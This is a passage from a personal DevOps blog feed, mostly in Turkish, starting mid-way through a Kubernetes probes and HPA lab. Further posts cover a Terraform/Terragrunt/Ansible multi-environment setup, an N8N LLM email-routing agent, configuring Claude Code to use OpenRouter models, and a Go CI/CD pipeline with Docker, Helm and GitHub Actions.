  failureThreshold: 3   # 5 + (3*5) = 20 saniyede restart
  # uygulama 40 saniyede hazır — hiç hazır olamaz

Sonuç: CrashLoopBackOff. Uygulama hiç ayağa kalkamıyor çünkü liveness onu hazır olmadan öldürüyor.

Şimdi startup probe ekle:

startupProbe:
  httpGet:
    path: /
    port: 80
  periodSeconds: 5
  failureThreshold: 12  # 12 * 5 = 60 saniye bekler
  # startup geçene kadar liveness çalışmaz

livenessProbe:
  httpGet:
    path: /
    port: 80
  initialDelaySeconds: 5
  periodSeconds: 10
  failureThreshold: 3

Sonuç:

NAME                  READY   STATUS    RESTARTS
slow-app-fixed-xxx    1/1     Running   0        ← restart yok

Ne öğrendim: Startup probe, liveness için bir "koruma kalkanı" görevi görüyor. "Ben hazır olana kadar dokunma" diyor. Spring Boot, JVM tabanlı uygulamalar, büyük model yükleyen ML servisleri — bunların hepsinde startup probe zorunlu.

Senaryo 4 — HPA ile Readiness Entegrasyonu

Bu senaryoda yük testi yaparak HPA'yı tetikledim ve yeni açılan pod'ların readiness geçene kadar traffic almadığını gözlemledim.

Önce metrics-server'ı kur:

kubectl apply -f https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

kubectl patch deployment metrics-server \
  -n kube-system \
  --type='json' \
  -p='[{"op":"add","path":"/spec/template/spec/containers/0/args/-","value":"--kubelet-insecure-tls"}]'

HPA tanımı:

apiVersion: autoscaling/v2
kind: HorizontalPodAutoscaler
metadata:
  name: hpa-demo
spec:
  scaleTargetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: hpa-demo
  minReplicas: 1
  maxReplicas: 4
  metrics:
  - type: Resource
    resource:
      name: cpu
      target:
        type: Utilization
        averageUtilization: 20

Yük testi:

kubectl run load-generator \
  --image=busybox:1.28 \
  --restart=Never \
  -n probe-lab \
  -- /bin/sh -c "while true; do wget -q -O- http://hpa-demo; done"

HPA çıktısı:

NAME       TARGETS        REPLICAS
hpa-demo   2%/20%         1
hpa-demo   198%/20%       2        ← scale-out başladı
hpa-demo   156%/20%       4
hpa-demo   2%/20%         4
hpa-demo   2%/20%         1        ← scale-in, yük durdu

Yeni pod açılırken endpoint listesi:

NAME       ENDPOINTS                    
hpa-demo   10.x.x.x:80                 ← sadece hazır pod
hpa-demo   10.x.x.x:80,10.x.x.x:80    ← ikinci pod readiness geçince eklendi

Ne öğrendim: HPA pod açtığında o pod hemen traffic almıyor. Readiness probe geçene kadar endpoint listesine girmiyor. Bu çok kritik — yük altında açılan pod hazır olmadan traffic alırsa hata oranı artar. Readiness probe bu geçiş sürecini güvenli hale getiriyor.

Production'da Dikkat Ettiğim Şeyler

Liveness probe'a bağımlı servis kontrolü koyma:

# YANLIŞ — DB geçici kapanırsa tüm pod'lar cascade restart yapar
livenessProbe:
  httpGet:
    path: /health/db
    port: 8080

# DOĞRU — liveness sadece "ben ayaktayım" sorusunu sormalı
livenessProbe:
  httpGet:
    path: /health/live
    port: 8080

readinessProbe:
  httpGet:
    path: /health/ready   # DB bağlantısı burada kontrol edilir
    port: 8080

Threshold değerlerini varsayılan bırakma:

livenessProbe:
  failureThreshold: 5    # 3 değil — geçici ağ sorunlarına tolerans
  periodSeconds: 10
  timeoutSeconds: 5      # 1 saniye çok kısa

Startup probe'u atlama: Eğer uygulamanın başlangıç süresi değişkense — farklı ortamlarda farklı sürebiliyorsa — startup probe yaz. initialDelaySeconds ile tahmin yürütmek yerine gerçek hazırlık durumunu kontrol et.

Özet

Bu lab'dan önce probe'ları biliyordum ama gözlemlememştim. Şimdi şunu rahatlıkla söyleyebiliyorum:

Liveness → "uygulama dondu mu?" — başarısız olursa restart
Readiness → "traffic almaya hazır mı?" — başarısız olursa sadece traffic kesilir
Startup → "uygulama başlamayı tamamladı mı?" — liveness için koruma kalkanı

Ve en önemli şey: readiness ile liveness'ı aynı endpoint'e bağlamak işe yarıyor ama doğru değil. İkisi farklı soruları soruyor, farklı endpoint'ler hak ediyorlar.

Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:

Terraform + Terragrunt + Ansible: A Hands-On Learning Journey

Taha Yağız Güler — Mon, 25 May 2026 10:55:04 +0000

I recently got interview feedback that changed how I approach learning:

"You've used these tools, but the technical depth wasn't there."

Instead of just reading documentation, I decided to build a real multi-environment infrastructure setup from scratch — dev, staging, and prod — using Terraform, Terragrunt, and Ansible. This post is a walkthrough of what I built, why each decision was made, and what I actually learned along the way.

The Problem with Single-Environment Thinking

Up until this point, my Terraform workflow looked like this:

write main.tf → terraform apply → done

That works fine for a single environment. But in a real company, code never goes directly to production. There's always a pipeline:

Dev — developers experiment here, things can break, no real users
Staging — production mirror, QA tests here before release
Prod — real users, real traffic, every mistake costs something

When you try to scale your single main.tf to three environments, three problems appear immediately.

Problem 1: Code duplication. You copy main.tf into environments/dev, environments/staging, and environments/prod. Now you have three identical files. When you add a new resource to dev, you have to manually copy it to the other two. Forget once — your environments silently drift apart.

Problem 2: State file collisions. Terraform saves the current state of your infrastructure to a file called terraform.tfstate. If all three environments write to the same S3 path, a dev apply can overwrite the prod state. Infrastructure gone.

Problem 3: No access control. Without IAM isolation, any engineer with AWS credentials can accidentally run terragrunt apply in the wrong environment.

These are the three problems this lab is designed to solve.

Project Architecture

Here's the full directory structure we're building:

terraform-ansible/
├── _base
│   ├── main.tf        # single Terraform entry point, used by all environments
│   └── modules
│       ├── ec2
│       │   ├── main.tf
│       │   ├── outputs.tf
│       │   └── variables.tf
│       ├── sg
│       │   ├── main.tf
│       │   ├── outputs.tf
│       │   └── variables.tf
│       └── vpc
│           ├── main.tf
│           ├── outputs.tf
│           └── variables.tf
├── ansible
│   ├── ansible.cfg
│   ├── group_vars
│   │   ├── env_dev.yml
│   │   ├── env_prod.yml
│   │   └── env_staging.yml
│   ├── inventory
│   │   └── aws_ec2.yml   # dynamic inventory — AWS tag based
│   ├── playbooks
│   │   └── provision.yml
│   └── roles
│       ├── common
│       │   └── tasks
│       │       └── main.yml
│       └── webserver
│           ├── handlers
│           │   └── main.yml
│           └── tasks
│               └── main.yml
└── live
    ├── dev
    │   └── terragrunt.hcl # dev-specific values
    ├── prod
    │   └── terragrunt.hcl # prod-specific values
    ├── staging
    │   └── terragrunt.hcl # staging-specific values
    └── terragrunt.hcl     # root config — S3 backend, state locking

The flow looks like this:

terragrunt apply (live/dev)
       │
       ├── reads live/terragrunt.hcl        → generates backend.tf automatically
       ├── reads live/dev/terragrunt.hcl    → gets environment-specific inputs
       ├── runs _base/main.tf               → provisions VPC, SG, EC2
       └── triggers null_resource           → runs Ansible playbook automatically

Step 1: Terraform Modules — Reusable Infrastructure Components

Modules are Terraform's way of packaging reusable infrastructure. Instead of writing the same VPC configuration in every environment, you write it once as a module and call it with different parameters.

Each module follows the same three-file pattern:

variables.tf — what inputs the module accepts
main.tf — what resources it creates
outputs.tf — what values it exposes to the caller

Here's the EC2 module as an example:

modules/ec2/variables.tf

variable "instance_type" {
  description = "EC2 instance type"
  type        = string
}

variable "environment" {
  type = string
}

variable "subnet_id" {
  type = string
}

variable "sg_id" {
  type = string
}

variable "key_name" {
  description = "SSH key pair name"
  type        = string
}

modules/ec2/main.tf

data "aws_ami" "amazon_linux" {
  most_recent = true
  owners      = ["amazon"]

  filter {
    name   = "name"
    values = ["al2023-ami-*-x86_64"]
  }
}

resource "aws_instance" "main" {
  ami                    = data.aws_ami.amazon_linux.id
  instance_type          = var.instance_type
  subnet_id              = var.subnet_id
  vpc_security_group_ids = [var.sg_id]
  key_name               = var.key_name

  tags = {
    Name        = "${var.environment}-server"
    Environment = var.environment
    ManagedBy   = "terraform"
    Project     = "terraform-lab"
  }
}

modules/ec2/outputs.tf

output "instance_id" {
  value = aws_instance.main.id
}

output "public_ip" {
  value = aws_instance.main.public_ip
}

The VPC and Security Group modules follow the same pattern. The key insight: modules are just functions. They take inputs, create resources, and return outputs.

Step 2: `_base/main.tf` — The Single Entry Point

All three environments use this exact file. It calls the modules and accepts all variable values from outside — from Terragrunt:

terraform {
  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "~> 5.0"
    }
  }
}

variable "environment"   { type = string }
variable "vpc_cidr"      { type = string }
variable "instance_type" { type = string }
variable "key_name"      { type = string  default = "terraform-lab-key" }
variable "region"        { type = string  default = "eu-central-1" }

module "vpc" {
  source      = "../modules/vpc"
  vpc_cidr    = var.vpc_cidr
  environment = var.environment
}

module "sg" {
  source      = "../modules/sg"
  vpc_id      = module.vpc.vpc_id
  environment = var.environment
}

module "ec2" {
  source        = "../modules/ec2"
  instance_type = var.instance_type
  environment   = var.environment
  subnet_id     = module.vpc.subnet_id
  sg_id         = module.sg.sg_id
  key_name      = var.key_name
}

resource "null_resource" "ansible_provision" {
  depends_on = [module.ec2]

  triggers = {
    instance_id = module.ec2.instance_id
  }

  provisioner "local-exec" {
    command = <<-EOT
      echo "Waiting for instance to be ready..."
      sleep 30
      cd /path/to/ansible && \
      ansible-playbook playbooks/provision.yml -e "target_env=${var.environment}"
    EOT
  }
}

output "instance_id" { value = module.ec2.instance_id }
output "public_ip"   { value = module.ec2.public_ip }
output "vpc_id"      { value = module.vpc.vpc_id }

Notice that _base/main.tf has no hardcoded values — no instance type, no CIDR block, no environment name. Everything comes from outside. This is what makes it reusable across environments.

Step 3: Terragrunt — Solving the Multi-Environment Problem

Terragrunt is a thin wrapper around Terraform. It doesn't replace Terraform — it just removes the need to duplicate main.tf across environments by injecting environment-specific values at runtime.

Think of _base/main.tf as a function. Terragrunt calls that function with different arguments for each environment.

Root config

live/terragrunt.hcl is written once and inherited by all environments:

locals {
  env = basename(get_terragrunt_dir())
  # get_terragrunt_dir() returns the current directory path
  # basename() extracts just the last segment: "dev", "staging", or "prod"
  # so env is automatically set from the folder name — no hardcoding needed
}

remote_state {
  backend = "s3"
  config = {
    bucket         = "your-tfstate-bucket"
    key            = "${local.env}/terraform.tfstate"
    region         = "eu-central-1"
    encrypt        = true
    dynamodb_table = "terraform-locks"
  }
  generate = {
    path      = "backend.tf"
    if_exists = "overwrite_terragrunt"
    # backend.tf is generated automatically before every apply
    # you never write it manually
  }
}

The key field is the critical part. When you run from live/dev, local.env becomes "dev", so the state is saved to dev/terraform.tfstate. From live/prod, it goes to prod/terraform.tfstate. State isolation is automatic.

Per-environment config

Each environment only contains what's different — the input values:

live/dev/terragrunt.hcl

include "root" {
  path = find_in_parent_folders()
  # inherits everything from live/terragrunt.hcl
}

terraform {
  source = "../../_base"
  # points to the shared main.tf
}

inputs = {
  environment   = "dev"
  vpc_cidr      = "10.0.0.0/16"
  instance_type = "t3.micro"
  key_name      = "terraform-lab-key"
}

live/prod/terragrunt.hcl

include "root" {
  path = find_in_parent_folders()
}

terraform {
  source = "../../_base"   # same main.tf
}

inputs = {
  environment   = "prod"
  vpc_cidr      = "10.2.0.0/16"
  instance_type = "t3.medium"   # only the values differ
  key_name      = "terraform-lab-key"
}

To deploy:

# Deploy only dev
cd live/dev && terragrunt apply

# Plan all environments at once
cd live && terragrunt run-all plan

# Apply all environments at once
cd live && terragrunt run-all apply

Step 4: Ansible — Post-Provisioning Configuration

Terraform answers the question: "Does this EC2 instance exist?"

Ansible answers the question: "Is nginx installed on that instance and configured correctly?"

These are two different problems. Terraform manages infrastructure state. Ansible manages configuration state. You need both.

Dynamic inventory

Instead of hardcoding IP addresses, Ansible discovers instances by their AWS tags:

ansible/inventory/aws_ec2.yml

plugin: amazon.aws.aws_ec2

regions:
  - eu-central-1

filters:
  tag:ManagedBy:
    - terraform
  instance-state-name:
    - running

keyed_groups:
  - key: tags.Environment
    prefix: env
    separator: "_"

hostnames:
  - tag:Name
  - public-ip-address

compose:
  ansible_host: public_ip_address
  environment: tags.Environment

Any running instance tagged with ManagedBy: terraform is automatically discovered. Instances are grouped by their Environment tag — so dev instances land in the env_dev group, prod in env_prod, and so on. Even if the IP address changes after a destroy/apply cycle, the inventory stays correct.

Roles

ansible/roles/common/tasks/main.yml — runs on every instance:

---
- name: Update all packages
  ansible.builtin.dnf:
    name: "*"
    state: latest

- name: Install base tools
  ansible.builtin.dnf:
    name: [git, htop, vim, wget]
    state: present

- name: Create deploy user
  ansible.builtin.user:
    name: deploy
    shell: /bin/bash
    groups: wheel
    append: yes

- name: Grant deploy user sudo access
  ansible.builtin.copy:
    dest: /etc/sudoers.d/deploy
    content: "deploy ALL=(ALL) NOPASSWD:ALL"
    mode: "0440"

- name: Set timezone
  ansible.builtin.timezone:
    name: Europe/Istanbul

ansible/roles/webserver/tasks/main.yml — installs and configures nginx:

---
- name: Install nginx
  ansible.builtin.dnf:
    name: nginx
    state: present

- name: Start and enable nginx
  ansible.builtin.systemd:
    name: nginx
    state: started
    enabled: yes
    daemon_reload: yes

- name: Create environment-specific index.html
  ansible.builtin.copy:
    dest: /usr/share/nginx/html/index.html
    content: |
      <h1>{{ app_environment }} environment</h1>
      <p>Instance: {{ ansible_facts['hostname'] }}</p>
      <p>IP: {{ ansible_facts['default_ipv4']['address'] }}</p>
    mode: "0644"
  notify: nginx restart

Playbook

---
- name: Instance provisioning
  hosts: "env_{{ target_env }}"
  become: true
  vars:
    app_environment: "{{ tags.Environment }}"

  roles:
    - common
    - webserver

Run against a specific environment:

# Only dev
ansible-playbook playbooks/provision.yml -e "target_env=dev"

# Only prod
ansible-playbook playbooks/provision.yml -e "target_env=prod"

Idempotency test

One of Ansible's core properties is idempotency — running the same playbook twice should produce the same result. The second run should show changed=0:

# First run
ansible-playbook playbooks/provision.yml -e "target_env=dev"
# → ok=10  changed=8  failed=0

# Second run — nothing changes
ansible-playbook playbooks/provision.yml -e "target_env=dev"
# → ok=10  changed=0  failed=0

changed=0 on the second run confirms idempotency is working.

Step 5: Connecting Everything — One Command to Rule Them All

With null_resource in _base/main.tf, running terragrunt apply automatically triggers Ansible after the EC2 instance is ready:

terragrunt apply
    ↓
VPC created
    ↓
Security Group created
    ↓
EC2 instance running
    ↓
null_resource triggers (depends_on = [module.ec2])
    ↓
sleep 30 (wait for SSH to be ready)
    ↓
ansible-playbook runs automatically
    ↓
nginx installed, configured, running

From a single command, you get a fully provisioned and configured server.

Step 6: Proving It Works — IAM Isolation & Drift Testing

IAM isolation

A dev engineer should not be able to touch prod state files. We enforce this with IAM policies:

{
  "Effect": "Allow",
  "Action": ["s3:GetObject", "s3:PutObject", "s3:DeleteObject"],
  "Resource": "arn:aws:s3:::your-tfstate-bucket/dev/*"
}

The dev IAM user can only read/write to dev/* in S3. Attempting to write to prod/*:

AWS_ACCESS_KEY_ID=dev-key AWS_SECRET_ACCESS_KEY=dev-secret \
  aws s3 cp test.txt s3://your-tfstate-bucket/prod/test.txt

# An error occurred (AccessDenied) when calling the PutObject operation

Human error blocked at the policy level.

Drift test

Add a new tag to modules/ec2/main.tf:

tags = {
  Name        = "${var.environment}-server"
  Environment = var.environment
  ManagedBy   = "terraform"
  Project     = "terraform-lab"    # new tag
}

Run run-all plan to see the change propagated to all three environments simultaneously:

cd live && terragrunt run-all plan

# Plan: 0 to add, 1 to change, 0 to destroy  (dev)
# Plan: 0 to add, 1 to change, 0 to destroy  (staging)
# Plan: 0 to add, 1 to change, 0 to destroy  (prod)

One file changed. Three environments updated. No manual copying, no risk of forgetting one.

Key Takeaways

After building this from scratch, here's what actually clicked for me:

Terraform and Ansible solve different problems. Terraform manages infrastructure state — "does this resource exist in AWS?" Ansible manages configuration state — "is nginx installed and running on that server?" You need both because provisioning a server and configuring it are fundamentally different concerns.

Terragrunt's value isn't magic — it's discipline. The single _base/main.tf enforces consistency. You can't accidentally configure staging differently from prod because there's only one source of truth. Configuration drift becomes structurally impossible rather than just unlikely.

IAM policy is the last line of defense. Engineers make mistakes. The cd live/prod && terragrunt apply accident will happen eventually. When it does, the question is whether your infrastructure or your IAM policy catches it first.

Idempotency is a property you verify, not assume. Running the playbook twice and checking for changed=0 isn't just a test — it's how you know your automation is actually reliable.

All code from this lab is available on GitHub. If you spot something that could be done better, I'd genuinely love to hear it in the comments.

Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL

Taha Yağız Güler — Wed, 13 May 2026 12:23:13 +0000

Building an AI-Powered Email Routing Agent with N8N, OpenRouter, and PostgreSQL

Every company has that one inbox — the shared one everyone ignores until something explodes. Emails pile up, get misrouted, or simply sit there while the wrong person tries to figure out who should handle it.

I built an AI agent on N8N that solves this completely. It watches an inbox, reads every incoming email, classifies it using an LLM, routes it to the right team, and logs everything to PostgreSQL — fully automated, no human in the loop.

Here's how it works.

The Problem

When customers or internal staff send emails to a shared address, someone has to:

Read the email
Decide which team handles it (IT, HR, Finance, Legal...)
Forward it manually
Hope it doesn't get lost

This is repetitive, error-prone, and doesn't scale. It's also exactly the kind of work AI is good at.

Architecture Overview

The N8N workflow consists of 7 stages:

Gmail Trigger → Prepare Mail Data → LLM Chain (OpenRouter) → JS Response Parser → Switch → Team Gmail Nodes → Merge → PostgreSQL

Stage 1: Gmail Trigger

The workflow polls the inbox every minute using N8N's Gmail Trigger node. Each new email fires the pipeline automatically.

Stage 2: Prepare Mail Data

Before sending anything to the LLM, a Set node extracts and normalizes the key fields:

sender — name + email address
subject — cleaned header
content — plain text body
date — normalized timestamp
mail_id — unique Gmail message ID
ai_prompt — formatted string passed to the LLM

Stage 3: LLM Classification via OpenRouter

This is where the intelligence lives. I used N8N's LangChain LLM Chain node with OpenRouter as the model provider, which lets me swap between models (GPT-4o, Claude, Mistral, etc.) without changing the workflow.

The system prompt instructs the model to:

Classify the email into exactly one category: IT, HR, Finance, or Other
Assign a priority: High, Medium, or Low
Write a 3-sentence summary in the original language of the email
Return a trust_score between 0.0 and 1.0 indicating classification confidence

The output is strict JSON — no markdown, no preamble, no extra fields:

{
  "category": "Finance",
  "priority": "Medium",
  "summary": "Invoice #12345 payment is overdue.",
  "trust_score": 0.87
}

If trust_score falls below 0.70, the model is instructed to fall back to "Other" rather than make a low-confidence routing decision.

Stage 4: JS Response Parser

LLMs occasionally wrap JSON in markdown code fences even when told not to. The Code node strips any `json wrappers, parses the response safely, and handles UTF-8 encoded email headers (a common issue with non-ASCII characters in subjects and sender names).

If parsing fails entirely, the node returns a safe fallback object so the workflow never crashes.

Stage 5: Switch → Team Routing

A Switch node reads the category field and routes to one of four Gmail send nodes:

Category	Routed To
IT	`inbox+IT@company.com`
HR	`inbox+HR@company.com`
Finance	`inbox+FINANCE@company.com`
Other	`inbox+OTHER@company.com`

Each forwarded email includes a formatted HTML body with sender, subject, date, priority, trust score, AI summary, and the original content — everything the receiving team needs to act immediately.

Stage 6: PostgreSQL Logging

After routing, all four branches merge and every email is logged to a mail_routing table in PostgreSQL with the following schema:

Column	Description
`mail_id`	Unique Gmail message ID
`sender`	From address
`subject`	Email subject
`date`	Received date
`category`	AI-assigned category
`priority`	AI-assigned priority
`summary`	AI-generated summary
`trust_score`	Classification confidence
`direct_mail`	Original recipient address
`content`	Full email body

This gives you a full audit trail, filterable by team, priority, or date range — useful for reporting or debugging misroutes.

What I Learned

OpenRouter is a smart choice here. Routing classification doesn't need GPT-4o — a smaller, cheaper model handles it well. OpenRouter lets you change models with a single config update.

Trust score is underrated. Rather than blindly trusting the classification, having a confidence threshold that falls back to "Other" prevents bad routes for ambiguous emails.

UTF-8 decoding is a real issue. Email headers frequently arrive encoded (e.g. =?UTF-8?B?...?=). You need explicit decoding — N8N doesn't handle this automatically.

Merge before DB write. All four routing branches converge at a Merge node before the PostgreSQL insert. This keeps the logging logic in one place rather than duplicating it across four branches.

What's Next

A few improvements worth adding:

Confidence-based human escalation — emails below a trust threshold trigger a Slack message asking a human to confirm routing before forwarding
Reply automation — auto-acknowledge the sender with an estimated response time based on priority
Dashboard — a simple Grafana view over the PostgreSQL table to visualize routing patterns and volume by team

Wrapping Up

This project took less than a day to build and completely eliminates manual email triage for a shared inbox. The combination of N8N's visual workflow engine, OpenRouter's model flexibility, and PostgreSQL's reliability makes for a surprisingly production-ready stack.

Claude Code'un Gücünü, Anthropic API Bağımlılığı Olmadan Ücretsiz Modellerle (OpenRouter) Kullanmak

Taha Yağız Güler — Mon, 23 Mar 2026 15:40:29 +0000

Anthropic aboneliği ödemeden Claude Code'u kullanmak mümkün mü? Evet — ve nasıl yapıldığını adım adım anlatıyorum.

Giriş: "Usage Limit Reached" Duvarına Çarpanlar İçin Kaçış Planı

Kritik bir hatayı düzeltmeye çalışıyorsunuz. Derken Claude Code ekrana soğuk bir mesaj atıyor: "Claude usage limit reached".

Tanıdık geldi değil mi?

Ya da belki şu soruyla uyanıyorsunuz: "Claude Code için aylık $20 ödemek zorunda mıyım? Başka model kullanamaz mıyım?"

Evet, kullanabilirsin.

Claude Code, Anthropic API'sine bağlı bir araç değil. Arka planda hangi URL'ye istek attığını umursamıyor. O URL'yi değiştirirseniz, istekleri istediğiniz modele yönlendirebilirsiniz.

OpenRouter Nedir?

OpenRouter, 400'den fazla yapay zeka modelini tek bir API üzerinden kullanmanızı sağlayan bir platform. Claude, GPT, Gemini, Llama, DeepSeek, Qwen… hepsi orada.

Asıl güzelliği ise 39'dan fazla ücretsiz model barındırması. Günlük kotası sınırlı ama geliştirici projeleri, öğrenme ve yan projeler için fazlasıyla yeterli.

Hadi Başlayalım: 5 Dakikada Kurulum

Adım 1 — Claude Code'u Kurun (henüz yoksa)

npm install -g @anthropic-ai/claude-code

2. OpenRouter'da Ücretsiz API Anahtarı Alın

openrouter.ai adresine gidin, ücretsiz hesap ve sonrasında ayarlar kısmından API Key’inizi oluşturun.

Adım 3 — Ortam Değişkenlerini Ayarlayın

Shell profil dosyanıza (~/.zshrc veya ~/.bashrc) şu satırları ekleyin:

export ANTHROPIC_BASE_URL="https://openrouter.ai/api"
export ANTHROPIC_AUTH_TOKEN="sk-or-ANAHTARINIZ_BURAYA" #OpenRouter API Key
export ANTHROPIC_API_KEY=""

ANTHROPIC_API_KEY'i boş bırakmak kasıtlı — bu Claude Code'un Anthropic'e değil, OpenRouter'a gitmesini sağlıyor.

Ardından terminali yenileyin:

source ~/.zshrc

Adım 4 — Bir Model Seçin ve Başlatın

OpenRouter’daki ücretsiz modelleri inceleyin. Beğendiğiniz bir modeli seçin:

claude --model "openrouter-model-name"

Bu kadar. Claude Code artık OpenRouter üzerinden çalışıyor.

Çalıştığını Nereden Anlarım?

Claude Code içinde /status komutunu çalıştırın. Ayrıca OpenRouter’ın Activity Dashboard’unda isteklerinizi canlı görebilirsiniz.

Oturum içinde model değiştirmek isterseniz:

/model <model-name-here>

Dikkat Edilmesi Gereken Noktalar

Ücretsiz modeller her zaman yeterli mi?
Kod okuma, şablon oluşturma, hata açıklama, test yazma gibi görevlerde genelde tatmin edici sonuç alırsınız. Kritik üretim işleri veya derin refaktör için premium modeller hâlâ önerimdir.

Her Model Her Şeyi Yapamaz
Claude Code’un dosya okuma/yazma, terminal komutları çalıştırma gibi özellikleri (tool calling) model desteği gerektirir. GPT-OSS, Qwen3, Gemini bu konuda güvenilir. Hafif modellerde bu özellik olmayabilir. Ayrıca gerçek zamanlı yanıt akışı (streaming) için de modelin desteği şart. OpenRouter’ın model sayfasından teyit edin, iyi alışkanlık.

Sonuç

Claude Code, sandığınızdan çok daha esnek bir araç. Hangi API’yle konuştuğunu bir URL ve bir anahtarla değiştirebiliyorsunuz. Geri kalan her şey aynı.

Dört satır kod. Beş dakika. Artık herhangi bir modele erişiminiz var.

Anthropic faturası ödemek istemiyorsanız veya farklı modelleri denemek istiyorsanız, işte başlangıç noktanız.

DevOps Pipeline: Go Uygulamasından Kubernetes’e Sürekli Entegrasyon

Taha Yağız Güler — Sat, 23 Nov 2024 16:25:03 +0000

DevOps Pipeline: Go Uygulamasından Kubernetes’e Sürekli Entegrasyon
Proje Amacı
Bu projede, Go dilinde yazılmış bir web uygulamasının geliştirilmesi, Docker kullanarak konteynerleştirilmesi, GitHub Actions ile CI/CD sürecinin kurulması, Kubernetes kullanılarak uygulamanın dağıtımının otomatik hale getirilmesi ve Argo CD ile sürekli dağıtım sürecinin entegrasyonu üzerine odaklandım.

Projenin GitHub reposuna buradan ulaşabilirsiniz.

1. Go Web Uygulaması Oluşturulması

Aşağıda, basit bir Go web uygulamasının test edilmiş örneği yer almaktadır:

package main

import (
    "net/http"
    "net/http/httptest"
    "testing"
)

func TestHomePage(t *testing.T) {
    req, err := http.NewRequest("GET", "/", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(homePage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("homePage handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}

func TestHomeEndpoint(t *testing.T) {
    req, err := http.NewRequest("GET", "/home", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(homePage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("home handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}

func TestAboutPage(t *testing.T) {
    req, err := http.NewRequest("GET", "/about", nil)
    if err != nil {
        t.Fatal(err)
    }

    rr := httptest.NewRecorder()
    handler := http.HandlerFunc(aboutPage)

    handler.ServeHTTP(rr, req)

    if status := rr.Code; status != http.StatusOK {
        t.Errorf("aboutPage handler returned wrong status code: got %v want %v", status, http.StatusOK)
    }
}

2. Konteynerleştirme - Dockerfile Kullanımı
Bu süreçte, çok aşamalı bir Dockerfile kullanarak uygulamanın boyutunu optimize ettim. Dockerfile aşağıdaki gibi hazırlanmıştır:

FROM golang:1.23 AS base

WORKDIR /app

COPY go.mod .

RUN go mod download

COPY . .

RUN go build -o main .

# Final stage - Distroless image.

FROM gcr.io/distroless/base

COPY --from=base /app/main .

COPY --from=base /app/static ./static

# Expose the port on which the application will run
EXPOSE 8080

# Command to run the application
CMD ["./main"]

3. Kubernetes ile Dağıtım
Uygulamanın Docker ile konteynerleştirilmesinin ardından, Kubernetes (K8s) kullanarak dağıtım yaptım. EKS (Amazon Elastic Kubernetes Service) kullanarak, Kubernetes kümesi oluşturdum ve Go uygulamasını bu kümeye dağıttım. AWS Kubernetes kümemi oluştururken eksctl kullandım ve Terraform ile yapmamın sebebi Bu kadar kısa bir işlem için buna gerek duymamam.
”Eğer Terraform ile ilgili projelerimi incelemek isterseniz, GitHub profilimi inceleyebilirsiniz.”

Aşağıda uygulamanın Kubernetes dağıtımı için kullanılan YAML dosyaları örnek olarak verilmiştir:

Deployment: Uygulamanın dağıtımını ve yönetimini sağlar.
Service: Uygulamanın dış dünyaya açılmasını sağlar.
Ingress: Trafiğin doğru yönlendirilmesini ve dış erişimi sağlar.

# deployment.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: go-web-app
  labels:
    app: go-web-app
spec:
  replicas: 1
  selector:
    matchLabels:
      app: go-web-app
  template:
    metadata:
      labels:
        app: go-web-app
    spec:
      containers:
      - name: go-web-app
        image: tyguler/go-web-app:v1
        ports:
        - containerPort: 8080

# Ingress
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: go-web-app
  annotations:
    nginx.ingress.kubernetes.io/rewrite-target: /
spec:
  ingressClassName: nginx
  rules:
  - host: go-web-app.local
    http:
      paths: 
      - path: /
        pathType: Prefix
        backend:
          service:
            name: go-web-app
            port:
              number: 80

# Service
apiVersion: v1
kind: Service
metadata:
  name: go-web-app
  labels:
    app: go-web-app
spec:
  ports:
  - port: 80
    targetPort: 8080
    protocol: TCP
  selector:
    app: go-web-app
  type: ClusterIP

4. Helm ile Uygulama Yönetimi
Kubernetes üzerinde uygulama yönetimini kolaylaştırmak için Helm kullanmaya karar verdim. Helm, Kubernetes için bir paket yöneticisidir ve uygulamanın dağıtımını, yapılandırmasını ve sürüm yönetimini basitleştirir.

Helm chart'ları, Kubernetes kaynaklarını yönetmek için şablonlar sağlar ve bu şablonlar, her ortamda uygulanabilir hale gelir.

İlk olarak bir chart oluşturdum:
helm create go-web-app-chart
Sonrasında K8s YAML dosyalarını templates klasörüne kopyaladım ve imajları yönetebilmek için bir değişken atadım:
image: tyguler/go-web-app:{{ .Values.image.tag }}

Bu sayede chart içerisindeki Values.yaml dosyasından kontrol sağladım.
helm install go-web-app ./go-web-app-chart komutu ile tüm yapıyı test ettim ve sonrasında helm uninstall go-web-app komutu ile kaynakları temizledim.

5. GitHub Actions ile CI/CD Süreci
Uygulamanın otomatik olarak test edilmesi, derlenmesi ve dağıtımı için GitHub Actions kullandım. GitHub Actions, her commit sonrası otomatik olarak testlerin çalıştırılmasını, Docker imajlarının oluşturulmasını ve bunların DockerHub'a yüklenmesini sağlar. Bu işlem, sürekli entegrasyon (CI) sürecinin temelini oluşturur.

GitHub Actions iş akışı şu şekildedir:

name: CI

on:
  push:
    branches:
      - main
    paths-ignore:
      - 'README.md'
      - 'helm/**'

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: Set up Go 1.23
      uses: actions/setup-go@v2
      with:
        go-version: 1.23

    - name: Build
      run: go build -o go-web-app

    - name: Test
      run: go test ./... # ./... means all subdirectories

  code_quality:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: GolangCI-Lint
      uses: golangci/golangci-lint-action@v6
      with:
        version: latest

  push:
    runs-on: ubuntu-latest

    steps:
    - name: Checkout
      uses: actions/checkout@v4

    - name: Set up Docker Buildx
      uses: docker/setup-buildx-action@v1

    - name: Login to DockerHub
      uses: docker/login-action@v2
      with:
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

    - name: Build and push
      uses: docker/build-push-action@v6
      with:
        context: .
        file: ./Dockerfile
        push: true
